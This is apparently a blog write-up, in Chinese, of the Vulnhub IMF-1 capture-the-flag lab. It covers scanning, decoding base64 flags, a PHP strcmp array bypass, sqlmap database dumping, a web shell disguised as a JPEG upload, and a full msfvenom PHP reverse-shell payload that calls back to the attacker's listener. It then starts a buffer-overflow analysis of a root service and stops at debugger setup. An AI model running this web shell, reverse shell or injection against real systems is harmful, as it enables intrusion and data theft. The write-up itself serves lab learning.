Vulnhub-IMF-1靶场渗透

主机发现

因为是在同一子网下,使用 arp-scan 直接扫描即可

┌──(root㉿kali)-[/home/kali]
└─# arp-scan 192.168.120.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:ab:50:b1, IPv4: 192.168.120.160
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.120.1   00:50:56:c0:00:08       (Unknown)
192.168.120.2   00:50:56:f6:91:bf       (Unknown)
192.168.120.172 00:0c:29:3d:3b:81       (Unknown)
192.168.120.254 00:50:56:e0:b3:8e       (Unknown)

9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.084 seconds (122.84 hosts/sec). 4 responded

可以得知目标主机ip为:192.168.120.172

信息搜集

端口扫描

开放端口扫描

┌──(root㉿kali)-[/home/kali]
└─# nmap -sS -p- 192.168.120.172 --min-rate=1000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 23:47 EDT
Nmap scan report for 192.168.120.172
Host is up (0.0013s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:3D:3B:81 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 110.78 seconds

服务扫描

┌──(root㉿kali)-[/home/kali]
└─# nmap -A -p80 192.168.120.172
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 23:51 EDT
Nmap scan report for 192.168.120.172
Host is up (0.0011s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: IMF - Homepage
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:3D:3B:81 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (93%), Linux 3.13 - 4.4 (93%), Linux 3.16 - 4.6 (93%), Linux 3.2 - 4.14 (93%), Linux 3.8 - 3.16 (93%), Linux 4.4 (93%), Linux 3.13 (90%), Linux 3.18 (89%), Linux 4.2 (87%), Linux 3.13 - 3.16 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.13 ms 192.168.120.172

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.94 seconds

开放80/网站服务

目录扫描

使用gobuster进行目录扫描

┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://192.168.120.172 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,t
xt,js,asp,aspx,jsp,bak,swp,config,env,json,log,git -t 100 -b 404,400
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.120.172
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404,400
[+] User Agent:              gobuster/3.6
[+] Extensions:              aspx,jsp,bak,swp,config,php,txt,env,json,log,git,html,js,asp
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/contact.php          (Status: 200) [Size: 8649]
/.html                (Status: 403) [Size: 280]
/projects.php         (Status: 200) [Size: 6574]
/index.php            (Status: 200) [Size: 4797]
/.php                 (Status: 403) [Size: 280]
/images               (Status: 301) [Size: 319] [--> http://192.168.120.172/images/]
/css                  (Status: 301) [Size: 316] [--> http://192.168.120.172/css/]
/js                   (Status: 301) [Size: 315] [--> http://192.168.120.172/js/]
/fonts                (Status: 301) [Size: 318] [--> http://192.168.120.172/fonts/]
/less                 (Status: 301) [Size: 317] [--> http://192.168.120.172/less/]
/.html                (Status: 403) [Size: 280]
/.php                 (Status: 403) [Size: 280]
/server-status        (Status: 403) [Size: 280]
Progress: 3308400 / 3308415 (100.00%)
===============================================================
Finished
===============================================================
  • /contact.php

image-20250409145937490

在其中得到三个内部人员的相关信息

flag1

在源码中发现了flag1,其他几个页面没有扫描有效信息:

image-20250409143338999

其内容看得出来是base64编码的字符,解码后得到 allthefiles:

image-20250409143509128

所有文件?在源码上方,还有几个文件,文件名疑似base64编码:

image-20250409144510089

flag2

根据提示allthefiles,那么将文件名按顺序组合后解码,得到flag2:

image-20250409144610733

其内容又是base64编码的,解码后得到提示:

image-20250409144803437

  • /imfadministrator/

image-20250409145033463

在其源码中提到sql无法使用,但硬编码了密码:

image-20250409145112261

随便输入内容后,发现提示用户名错误:

image-20250409150119801

尝试使用前面 /contact.php 页面的相关信息后,发现使用邮箱前部分的用户名只显示密码错误:

image-20250409150243178

尝试sqlmap后失败:

image-20250409150815838

根据前面源码的提示,密码被硬编码,这通常使用==strcmp在php中进行比较区分不同大小写字符串,但是strcmp有个特点,就是当字符串和数组进行比较时,函数返回0,修改源码绕过,使输入的值变为数组:

<input type="password" name="pass" value="">
// 改为:
<input type="password" name="pass[]" value="">

PS:strcmp()

用法:strcmp(string1, string2) 若返回0,代表两个字符串相等;若返回<0,代表string1小于 string2;若返回>0,代表string1大于 string2。

漏洞:对于传入非字符串类型的数据的时候,strcmp函数会报错,将return0,但却判定其相等了。所以,slrgmp()在比较字符串和数组的时候直接返回0,这样通过把目标变量设置成数组就可以绕过该函数的限制。

image-20250409151146224

flag3

得到flag3和一个链接:

image-20250409151215604

同样是base64编码,解码:

image-20250409151308010

sql注入

进入链接后得到几个页面,url疑似存在sql注入和目录穿越,但经过尝试目录穿越不可行:

image-20250409151717358

尝试sql注入,抓包后,使用数据包进行注入:

image-20250409153348678

sqlmap -o -r req.txt --risk=3 --level=5 --dbs --batch --threads=10

--risk=3:指风险等级为3,增加OR语句的SQL注入测试
--level=5:表示当前扫描的等级,会测试HTTP Cookie头的值和User-Agent及HTTP Reference头的值
--dbs:列出所有的数据库
--batch:自动按照默认值运行下去,用户无需输入
--threads=10:指定线程为10

列出所有数据库

sqlmap -o -r req.txt --risk=3 --level=5 --batch --threads=10 -D admin --tables

image-20250409153634671

进一步拿取数据,查看admin数据库内容

列出所有表

sqlmap -o -r req.txt --risk=3 --level=5 --batch --threads=10 -D admin --tables

image-20250409153935110

列出所有列

sqlmap -o -r req.txt --risk=3 --level=5 --batch --threads=10 -D admin -T pages --columns

image-20250409154000115

列出所有字段内容

sqlmap -o -r req.txt --risk=3 --level=5 --batch --threads=10 -D admin -T pages -C id,pagedata,pagename --dump

image-20250409154416477

flag4

发现得到的三个pagename中,有一个之前没有发现,尝试访问:

image-20250409154507371

存在一个二维码,扫描后得到flag4:

image-20250409154640612

文件上传-权限获取&flag5

/uploadr942.php

内容依然是base64编码的字符,解码后又得到一个文件名,疑似一个路径:

image-20250409154728462

尝试访问该路径,发现是一个文件上传页面,前端也没有什么过滤,可能后端存在过滤:

image-20250409155006325

尝试文件上传,发现txt,php等不允许上传:

image-20250409155308508

jpg等图片文件可以上传,但有大小限制,而且存在文件头验证:

image-20250409160013116

且有waf检测内容,不允许存在恶意函数:

image-20250409155640271

构造没有危险函数的语句的文件:

# 创建一个文件头为 FFD8DDE0 的jpeg文件
┌──(root㉿kali)-[/home/kali/Templates]
└─# echo 'FFD8FFE0' | xxd -r -p > shell.gif
┌──(root㉿kali)-[/home/kali/Templates]
└─# file shell.gif
shell.gif: JPEG image data

# 末尾写入注入语句
<?php $cmd=$_POST['cmd']; echo `$cmd`; ?>

PS:

  • 在 PHP 中,反引号(... 会执行其中的内容作为 系统命令,并返回命令的输出结果(类似 shell_exec() 函数)。
  • 例如:echo whoami`` 会执行 whoami 命令并输出当前系统用户。

上传成功:

image-20250409175955499

使用gobuster扫描 /imfadministrator/ 目录,分析文件上传路径:

┌──(root㉿kali)-[/home/kali/Templates]
└─# gobuster dir -u http://192.168.120.172/imfadministrator/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x jpg -t 100 -
b 404,400
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.120.172/imfadministrator/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404,400
[+] User Agent:              gobuster/3.6
[+] Extensions:              jpg
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 336] [--> http://192.168.120.172/imfadministrator/images/]
/uploads              (Status: 301) [Size: 337] [--> http://192.168.120.172/imfadministrator/uploads/]

发现了一个uploads路径,但无法直接访问,而且也无法直接使用上传的文件名进行访问,查看源码,发现其中的注释写了一个字符串, 而且每次上传文件后该字符串都不一样,猜测可能是上传后的新名称,尝试访问:

image-20250410140001013

成功访问,说明应该是有这么一个文件,成功执行命令,看到当前目录下的文件,其中有一个flag5文件:

image-20250410140054207

其内容依然是base64编码,解码后为:

image-20250410134435928

这个提示暂时没有办法利用

权限提升

为了方便执行命令,这里shell转为msf的shell:

创建payload:

┌──(root㉿kali)-[/home/kali/Templates]
└─# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.120.160 LPORT=4444 -f raw > shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1116 bytes

┌──(root㉿kali)-[/home/kali/Templates]
└─# cat shell.php
/*<?php /**/ error_reporting(0); $ip = '192.168.120.160'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

# MSF 监听器配置
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.120.160
set LPORT 4444
run

将内容进行base64编码后传入目标并解码:

image-20250410145634045

拿到msf shell并生成一个更强大的交互式shell:

meterpreter > shell
Process 7474 created.
Channel 1 created.
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@imf:/var/www/html/imfadministrator/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

PS:漏洞说明

这里之所以能以php解析gif,是因为目标站点的apache的文件解析漏洞,从目标站点的 .htaccess 文件内容可以看到,可以将gif文件解析为php:

www-data@imf:/var/www/html/imfadministrator/uploads$ cat .ht*
cat .ht*
AddType application/x-httpd-php .php .gif
AddHandler application/x-httpd-php .gif

agent services

根据前面flag5的提示,下一个目标是agent服务相关的内容,查找agent相关的文件/内容

www-data@imf:/tmp$ find / -iname agent 2>/dev/null
find / -iname agent 2>/dev/null
/usr/local/bin/agent
/etc/xinetd.d/agent

找到两个agent文件,分别查看是什么东西:

  • /usr/local/bin/agent

    www-data@imf:/tmp$ ls -al /usr/local/bin/agent
    ls -al /usr/local/bin/agent
    -rwxr-xr-x 1 root root 11896 Oct 12  2016 /usr/local/bin/agent
    www-data@imf:/tmp$ file /usr/local/bin/agent
    file /usr/local/bin/agent
    /usr/local/bin/agent: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=444d1910b8b99d492e6e79fe2383fd346fc8d4c7, not stripped
    

    可以看到是一个 ELF 可执行文件

  • /etc/xinetd.d/agent

    www-data@imf:/tmp$ ls -al /etc/xinetd.d/agent
    ls -al /etc/xinetd.d/agent
    -rw-r--r-- 1 root root 379 Oct 11  2016 /etc/xinetd.d/agent
    www-data@imf:/tmp$ file /etc/xinetd.d/agent
    file /etc/xinetd.d/agent
    /etc/xinetd.d/agent: ASCII text
    www-data@imf:/tmp$ cat /etc/xinetd.d/agent
    cat /etc/xinetd.d/agent
    # default: on
    # description: The agent server serves agent sessions
    # unencrypted agentid for authentication.
    service agent
    {
           flags          = REUSE
           socket_type    = stream
           wait           = no
           user           = root
           server         = /usr/local/bin/agent
           log_on_failure += USERID
           disable        = no
           port           = 7788
    }
    

    这是一个文本文件,看起来是一个配置文件,其中说以root权限开起了一个agent服务(这里就是调用的之前那个agent执行文件),端口是7788

查看现有开放端口及其服务:

www-data@imf:/tmp$ netstat -atnup
netstat -atnup
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:7788            0.0.0.0:*               LISTEN      -
tcp        0    160 192.168.120.172:55198   192.168.120.160:4444    ESTABLISHED 7348/sh
tcp        0      0 192.168.120.172:55190   192.168.120.160:4444    ESTABLISHED 4620/sh
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 192.168.120.172:80      192.168.120.1:51604     ESTABLISHED -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

可以看到开放了7788,但之前的nmap端口扫描的时候没有发现,应该是防火墙做了设置。

查看agent执行文件所在目录下是否有其他信息:

www-data@imf:/tmp$ ls -alh /usr/local/bin/
ls -alh /usr/local/bin/
total 24K
drwxr-xr-x  2 root root 4.0K Oct 16  2016 .
drwxr-xr-x 10 root root 4.0K Sep 22  2016 ..
-rw-r--r--  1 root root   19 Oct 16  2016 access_codes
-rwxr-xr-x  1 root root  12K Oct 12  2016 agent
www-data@imf:/tmp$ cat /usr/local/bin/access_codes
cat /usr/local/bin/access_codes
SYN 7482,8279,9467

可以看到还有一个文件,其中的内容可能关于端口碰撞的东西,端口碰撞见:项目6

端口碰撞

使用nmap进行端口碰撞:

┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -r 192.168.120.172 -p 7482,8279,9467
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-10 22:19 EDT
Nmap scan report for 192.168.120.172
Host is up (0.00045s latency).

PORT     STATE    SERVICE
7482/tcp filtered unknown
8279/tcp filtered unknown
9467/tcp filtered unknown
MAC Address: 00:0C:29:3D:3B:81 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds

┌──(root㉿kali)-[/home/kali]
└─# nmap -sS -p- 192.168.120.172 --min-rate=1000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-10 22:19 EDT
Nmap scan report for 192.168.120.172
Host is up (0.00025s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
7788/tcp open  unknown
MAC Address: 00:0C:29:3D:3B:81 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 101.44 seconds

┌──(root㉿kali)-[/home/kali]
└─# nmap -sV -p7788 192.168.120.172
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-10 22:22 EDT
Nmap scan report for 192.168.120.172
Host is up (0.00031s latency).

PORT     STATE SERVICE VERSION
7788/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port7788-TCP:V=7.95%I=7%D=4/10%Time=67F87D06%P=x86_64-pc-linux-gnu%r(NU
SF:LL,6F,"\x20\x20___\x20__\x20\x20__\x20___\x20\n\x20\|_\x20_\|\x20\x20\\
...
SF:|\x20\|\|\x20\|\\/\|\x20\|\x20_\|\x20\x20\x20Reporting\n\x20\|___\|_\|\
SF:x20\x20\|_\|_\|\x20\x20\x20\x20System\n\n\nAgent\x20ID\x20:\x20Invalid\
SF:x20Agent\x20ID\x20\n");
MAC Address: 00:0C:29:3D:3B:81 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.90 seconds

可以看到现在开启了7788端口和agent服务了

尝试访问开放的agent服务:

image-20250603211024162

缓冲区溢出

缓冲区溢出原理:

通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它
指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

进行缓冲区溢出攻击时需要找到目标的几个信息:

  • 目标程序的缓冲区极限点在哪,即,偏移量
  • 剩余的空间有多大,即,溢出后可操作的空间有多大
  • 如何执行溢出的恶意代码

存在缓冲区溢出漏洞的函数:strcat()、sprintf()、vsprintf()、gets()、scanf()

本地分析

将目标程序agent拿到本地分析:

www-data@imf:/tmp$ base64 /usr/local/bin/agent
base64 /usr/local/bin/agent
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAAIUECDQAAACgKQAAAAAAADQAIAAJACgAHwAcAAYAAAA0
AAAANIAECDSABAggAQAAIAEAAAUAAAAEAAAAAwAAAFQBAABUgQQIVIEECBMAAAATAAAABAAAAAEA
AAABAAAAAAAAAACABAgAgAQIKA8AACgPAAAFAAAAABAAAAEAAAAIHwAACK8ECAivBAg0AQAARAEA.....

┌──(root㉿kali)-[/home/kali/Templates]
└─# vim base64.txt

┌──(root㉿kali)-[/home/kali/Templates]
└─# cat base64.txt | base64 -d > agent

┌──(root㉿kali)-[/home/kali/Templates]
└─# ls -alh
总计 48K
drwxr-xr-x  2 kali kali 4.0K  4月10日 22:57 .
drwx------ 19 kali kali 4.0K  4月10日 22:17 ..
-rw-r--r--  1 root root  12K  4月10日 22:57 agent
-rw-r--r--  1 root root  16K  4月10日 22:57 base64.txt

使用进程跟踪分析工具 ltrace 进行调试分析:

┌──(root㉿kali)-[/home/kali/Templates]
└─# ltrace ./agent
__libc_start_main(["./agent"] <unfinished ...>
setbuf(0xf7f62d40, nil)                                                               = <void>
asprintf("48093572", "%i", 48093572)                                                  = 8
puts("  ___ __  __ ___ "  ___ __  __ ___
)                                                             = 18
puts(" |_ _|  \\/  | __|  Agent" |_ _|  \/  | __|  Agent
)                                                     = 25
puts("  | || |\\/| | _|   Reporting"  | || |\/| | _|   Reporting
)                                                 = 29
puts(" |___|_|  |_|_|    System\n" |___|_|  |_|_|    System

)                                                   = 27
printf("\nAgent ID : "
Agent ID : )                                                               = 12
fgets(jdoaidoa
"jdoaidoa", 9, 0xf7f625c0)                                                      = 0xff946d2e
strncmp("jdoaidoa", "48093572", 8)                                                    = 1
puts("Invalid Agent ID "Invalid Agent ID
)                                                             = 18
+++ exited (status 254) +++

可以看到当输入 fgets( 接收了任意输入(jdoaidoa)之后,使用了 strncmp() 函数进行判断两个字符,一个是内置的硬编码字符串,比较结果是1,说明不相等,这个函数和前面web界面的php函数 strcmp() 是一样的功能,这里暴露了其中的比较值,那么尝试使用该值(48093572)进行尝试登入:

┌──(root㉿kali)-[/home/kali/Templates]
└─# ./agent
  ___ __  __ ___
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection:

可以看到成功进入了

溢出验证

使用 strings 查看程序中的函数,查看使用的函数:

┌──(root㉿kali)-[/home/kali/Templates]
└─# strings ./agent
...
Ashton Park, Mosman, Sydney, New South Wales, Australia
Argyle Place, The Rocks, Sydney, New South Wales, Australia
Extraction Request
Enter extraction location:
Location: %s
Extraction team has been deployed.
Enter report update:
Report: %s
Submitted for review.
;*2$",
...

其中有两个%s这里就可能存在缓冲区溢出的点,这里的report一个是menu里面的3,尝试输入超长字符串看看是否会报错,如果报错,那就说明存在溢出,那就需要进一步分析找到偏移量:

正常输入:

┌──(root㉿kali)-[/home/kali/Templates]
└─# ./agent
  ___ __  __ ___
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3

Enter report update: q
Report: q
Submitted for review.

超长输入:

# 生成超长字符
┌──(root㉿kali)-[/home/kali/Templates]
└─# python3
Python 3.13.2 (main, Mar 13 2025, 14:29:07) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('A'*200)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# 开始测试
┌──(root㉿kali)-[/home/kali/Templates]
└─# ./agent
  ___ __  __ ___
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3

Enter report update: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Report: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Submitted for review.
zsh: segmentation fault  ./agent

可以看到输入超长字符串之后报错了:segmentation fault ./agent,说明存在溢出,那么就要找到偏移量

查找偏移量

安装/配置工具:

cd ~
git clone https://github.com/scwuaptx/Pwngdb.git 
git clone https://github.com/longld/peda.git
git clone https://github.com/pwndbg/pwndbg
cd ./pwndbg
./setup.sh
cd ..
cp ./Pwngdb/.gdbinit ~/
vim ~/.gdbinit

# 配置如下:
source ~/peda/peda.py
source ~/pwndgb/gdbinit.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py

define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

后续暂略

posted @ 2025-12-03 09:23  shinianyunyan  阅读(18)  评论(0)    收藏  举报